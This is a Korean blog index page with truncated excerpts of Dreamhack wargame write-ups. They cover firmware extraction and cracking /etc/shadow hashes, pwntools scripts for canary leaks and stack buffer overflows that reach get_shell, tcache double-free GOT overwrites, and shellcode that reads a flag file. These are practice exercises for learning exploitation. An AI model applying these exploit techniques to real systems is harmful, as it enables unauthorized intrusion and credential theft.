anonymous?

binwalk 설치 sudo apt-get install binwalk Unpacking the binary firmware /w Binwalk binwalk -Me Firmware_challenge.bin binwalk 명령어의 -Me 옵션을 사용하여 펌웨어를 추출한다. /etc/shadow 파일 확인 그 다음 디렉토리를 둘러보면서 /etc/shadow 파일을 열어봤다. dream 계정만 패스워드가 설정되어있어서, 이 부분을 유심히 확인했다. $Algorithm$salt$encrypt_password 형태로 저장되어있으며, MD5 알고리즘을 사용하여 암호화되었다. 그래서 여러 온라인 decrypt 도구를 사용해서 plaintext를 얻어봤는데 flag 단서를 얻었을 때에도 복호화가 잘 안 되었는지 계속..

SYSTEM HACKING/Dreamhack 2024. 3. 5. 01:40

#!/usr/bin/python from pwn import * context.log_level = 'debug' context.arch = 'amd64' #p = process("./r2s") p = remote('host3.dreamhack.games', 17569) p.recvuntil(b'Address of the buf: ') buf = int(p.recvuntil('\n'), 16) log.info(b'printf: ', hex(buf)) distance = 96 # canary leak payload = b'B'*(0x60-0x8)+b'A' p.sendafter(b'Input: ', payload) #gdb.attach(p) p.recvuntil(b'A') canary = u64(b'\x00..

SYSTEM HACKING/Dreamhack 2024. 3. 3. 01:56

취약점 분석(정적 분석) IDA로 디스어셈블 하여 스도코드 확인 int __fastcall main(int argc, const char **argv, const char **envp) { char v4[48]; // [rsp+0h] [rbp-30h] BYREF init(argc, argv, envp); printf("Input: "); __isoc99_scanf("%s", v4); return 0; } 스택 구조가 |v4(0x30|SFP(0x8)|RET(0x8)| 이렇게 되고, scanf함수로 입력받으므로 길이 검사를 하지 않아 BOF 취약점이 발생한다. 따라서 0x30+0x8만큼 더미 값을 준 후 이후에 get_shell 함수 주소를 주면 쉘을 얻을 수 있다. PIE가 없어서 get_shell 함수 ..

SYSTEM HACKING/Dreamhack 2024. 3. 1. 21:42

🔍 코드 분석 int __cdecl main(int argc, const char **argv, const char **envp) { char v4[20]; // [esp+0h] [ebp-18h] BYREF int v5; // [esp+14h] [ebp-4h] v5 = 1; initialize(); printf("Name: "); read_str(v4, 20); printf("Are you baby?"); if ( v5 ) { puts("Ok, chance: "); read(0, v4, 20); } else { get_shell(); } return 0; } |v4(0x18)|v5(0x4)|SFP|RET| v5이 0이면 get_shell 함수 실행되어서 쉘 얻을 수 있음. 근데 v5=1로 설정되어 있기 ..

SYSTEM HACKING/Dreamhack 2024. 2. 19. 16:15

int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rbp __int64 v5; // [rsp-98h] [rbp-98h] signed int v6; // [rsp-18h] [rbp-18h] signed __int16 v7; // [rsp-14h] [rbp-14h] __int64 v8; // [rsp-8h] [rbp-8h] __asm { endbr64 } v8 = v3; init(); v6 = 'ac/.'; v7 = 116; sub_4010D0(); sub_401130("%144s", &v5); read_cat((__int64)&v8, (__int64)&v6); sub_4010D0(); return 0; } |v..

SYSTEM HACKING/Dreamhack 2024. 2. 16. 21:38

사전지식 chunk size - fast chunk: 32~128byte - small chunk: = 1024byte free된 청크를 관리하는 bin - Fastbin : 해제된 chunk가 fastbinsY에서 관리될 경우 해제된 Heap과 크기 동일하게 할당 - Unsorted bin : 해제된 chunk가 unsorted bin에서 관리되는 small, large chunk인 경우, 해제된 Heap의 크기와 같거나 작은 크기를 할당 - small bin: small chunk 관리 - large bin: large chunk 관리 풀이과정 int __fastcall __noreturn main(int argc, const char **argv, c..

SYSTEM HACKING/Dreamhack 2024. 1. 10. 21:38

풀이 1 filename를 16진수로 구하기 section .data filename db '/home/shell_basic/flag_name_is_loooooong', 0 mode dq 0 ; O_RDONLY 먼저 asm 파일에 위와 같이 filename을 적는 어셈블리 코드를 작성 nasm -f elf64 shell_basic.asm # 운영체제 elf64 지정하여 어셈블리 코드로 object 파일 생성 objcopy --dump-section .text=shell_basic.bin shell_basic.o # object 파일로 실행 파일 생성 $ objdump -D shell_basic.o shell_basic.o: file format elf64-x86-64 Disassembly of secti..

SYSTEM HACKING/Dreamhack 2024. 1. 10. 19:01

Master canary 글을 참고하면 좋다. Master canary SSP(Stack Smashing Protector) 보호기법은 스택 버퍼오버플로우를 방지하기 위해 개발된 기법이다. SSP는 스택 buffer와 SFP(Stack Frame Pointer) 사이에 랜덤 값인 canary를 넣어서 함수 종료 시점에서 __stack.. koharinn.tistory.com 🔍 코드 분석 int __cdecl main(int argc, const char **argv, const char **envp) { const char **v4; // [rsp+0h] [rbp-60h] __int64 v5; // [rsp+18h] [rbp-48h] pthread_t newthread; // [rsp+20h] [rbp..

SYSTEM HACKING/Dreamhack 2022. 1. 5. 22:11

이 쉬운 문제를 지금까지 왜 안 풀었나 싶다. nc host1.dreamhack.games 10255 shell에 위와 같이 입력해서 접속하면 플래그가 출력된다.

SYSTEM HACKING/Dreamhack 2021. 2. 9. 01:40

ubuntu 19에서 사용하는 glibc 버전이니 리모트는 ubuntu 19에서 다시 해볼 것 1. Double free tcache entry와 첫번째 청크 fd에 첫 번째 청크 주소가 적힌다. 2. fd를 got로 바꾼다. (UAF) got에 system이 있어서 혹시나 해서 .rodata 영역을 확인했는데 get_shell 함수가 있었다.. (아니다. 그냥 확인해도 get_shell 함수가 있다.) printf@got에 할당받을 때 데이터로 get_shell을 주면, printf 시 쉘이 실행될 수 있다. 3. Create 이때는 tcache에 적힌 첫 번째 free 청크 영역에 재할당된다. tcache에는 fd에 적힌 printf@got가 등록된다. 4. Create fd에 적혔던 printf@g..

SYSTEM HACKING/Dreamhack 2020. 8. 29. 02:41

v5에는 힙 주소가 적히고 (할당된 힙 청크에 영역의 주소), 데이터로 table_func을 적는다. 만약 값이 적혀있으면 해당 v5에 적힌 주소를 실행한다. 따라서 v5에 적힌 값을 get_shell로 변조하면 쉘을 딸 수 있다. v3 포인터가 가리키는 힙 영역을 가장 먼저 할당하는데 scanf로 입력받아서 heap overflow 취약점이 존재한다. 이를 이용해서 table_func->get_shell로 바꾼다. 초기 힙 상태를 보면 2개가 할당되어 있는 것을 확인할 수 있다. scanf 시 첫 번째 노란색 부분부터 입력받아서 0x08048694를 덮어야 한다. 4*10 + p32(get_shell) 페이로드 전당 후 get_shell이 데이터 영역에 적힌 것을 확인할 수 있다. call 로 get_..

SYSTEM HACKING/Dreamhack 2020. 7. 8. 13:07

switch ( v3 ) { case 2: printf("Name: %s\n", &buf); printf("Age: %d\n", v5); break; %s는 null을 만나기 전까지 모두 출력해준다. 따라서 0이 없도록 buf와 v5를 모두 채워주면 3번 메뉴에서 s에 flag를 넣고 2번 메뉴에서 flag까지 출력되도록 할 수 있다. #!/usr/bin/python from pwn import * context.log_level = 'debug' p = remote("host1.dreamhack.games", 8336) #p = process("./memory_leakage") elf = ELF("./memory_leakage") def Join(name, age): p.sendlineafter("> ..

SYSTEM HACKING/Dreamhack 2020. 7. 8. 12:46